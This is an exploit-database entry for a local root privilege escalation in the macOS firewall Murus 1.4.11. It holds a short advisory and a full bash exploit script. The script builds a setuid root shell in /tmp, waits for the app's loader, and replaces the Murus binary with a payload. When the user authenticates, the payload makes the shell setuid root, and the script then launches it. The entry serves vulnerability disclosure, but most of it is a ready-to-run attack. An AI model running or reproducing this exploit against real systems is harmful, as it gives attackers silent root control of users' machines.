header-logo
Suggest Exploit
vendor:
Murus
by:
m4rkw
7,8
CVSS
HIGH
Escalation Hijack Vulnerability
264
CWE
Product Name: Murus
Affected Version From: Murus 1.4.11
Affected Version To: Murus 1.4.11
Patch Exists: NO
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: macOS
2020

Murus 1.4.11 local root privilege escalation exploit

Murus firewall requires the user to authenticate every time in order to obtain the access it needs to modify the firewall settings. If a local attacker or malware is running as an admin user (ie has write access to /Applications/), they can subvert this process to silently obtain root access without the user knowing.

Mitigation:

Ensure that only trusted users have access to the system and that all users are using strong passwords.
Source

Exploit-DB raw data:

# I recently blogged about the prevalence of escalation hijack vulnerabilities amongst macOS applications. One example of this is the latest version of Murus
# firewall. By design it requires the user to authenticate every time in order to obtain the access it needs to modify the firewall settings.

# If a local attacker or malware is running as an admin user (ie has write access to /Applications/) they can subvert this process to silently obtain root access
# without the user knowing.

# https://m4.rkw.io/murus1.4.11.sh.txt
# 9c332c07747e11c78c34f9dc8d30127250d95edd5e58a571ed1a005eafd32301
# -------------------------------------------------------------------------------
#!/bin/bash

##################################################################
###### Murus 1.4.11 local root privilege escalation exploit ######
###### by m4rkw - https://m4.rkw.io/blog.html               ######
##################################################################

echo "compiling payloads..."

cat > /tmp/murus411_exp.c <<EOF
#include <unistd.h>
int main()
{
  setuid(0);
  seteuid(0);
  execl("/bin/bash","bash","-c","rm -f /tmp/murus411_exp; /bin/bash",NULL);
  return 0;
}
EOF

gcc -o /tmp/murus411_exp /tmp/murus411_exp.c

if [ ! $? -eq 0 ] ; then
  rm -f /tmp/murus411_exp.c
	echo "failed to compile, dev tools may not be installed"
  exit 1
fi

rm -f /tmp/murus411_exp.c

cat > /tmp/murus411_exp2.c <<EOF
#include <unistd.h>
#include <stdlib.h>
int main()
{
  setuid(0);
  seteuid(0);
  system("chown root:wheel /tmp/murus411_exp");
  system("chmod 4755 /tmp/murus411_exp");
  system("mv /Applications/Murus.app/Contents/MacOS/Murus.orig /Applications/\
Murus.app/Contents/MacOS/Murus");
  execl("/Applications/Murus.app/Contents/MacOS/Murus","Murus",NULL);
  return 0;
}
EOF

gcc -o /tmp/murus411_exp2 /tmp/murus411_exp2.c
rm -f /tmp/murus411_exp2.c

echo "waiting for loader..."

while :
do
  ps auxwww |grep '/Applications/Murus.app/Contents/MacOS/MurusLoader' \
    |grep -v grep 1>/dev/null
  if [ $? -eq 0 ] ; then
    break
  fi
done

echo "planting payload..."

mv /Applications/Murus.app/Contents/MacOS/Murus /Applications/Murus.app/\
Contents/MacOS/Murus.orig
mv /tmp/murus411_exp2 /Applications/Murus.app/Contents/MacOS/Murus

echo "waiting for payload to trigger..."

while :
do
  r=`ls -la /tmp/murus411_exp |grep root`
  if [ "$r" != "" ] ; then
    break
  fi
  sleep 0.1
done

echo "kapow"

/tmp/murus411_exp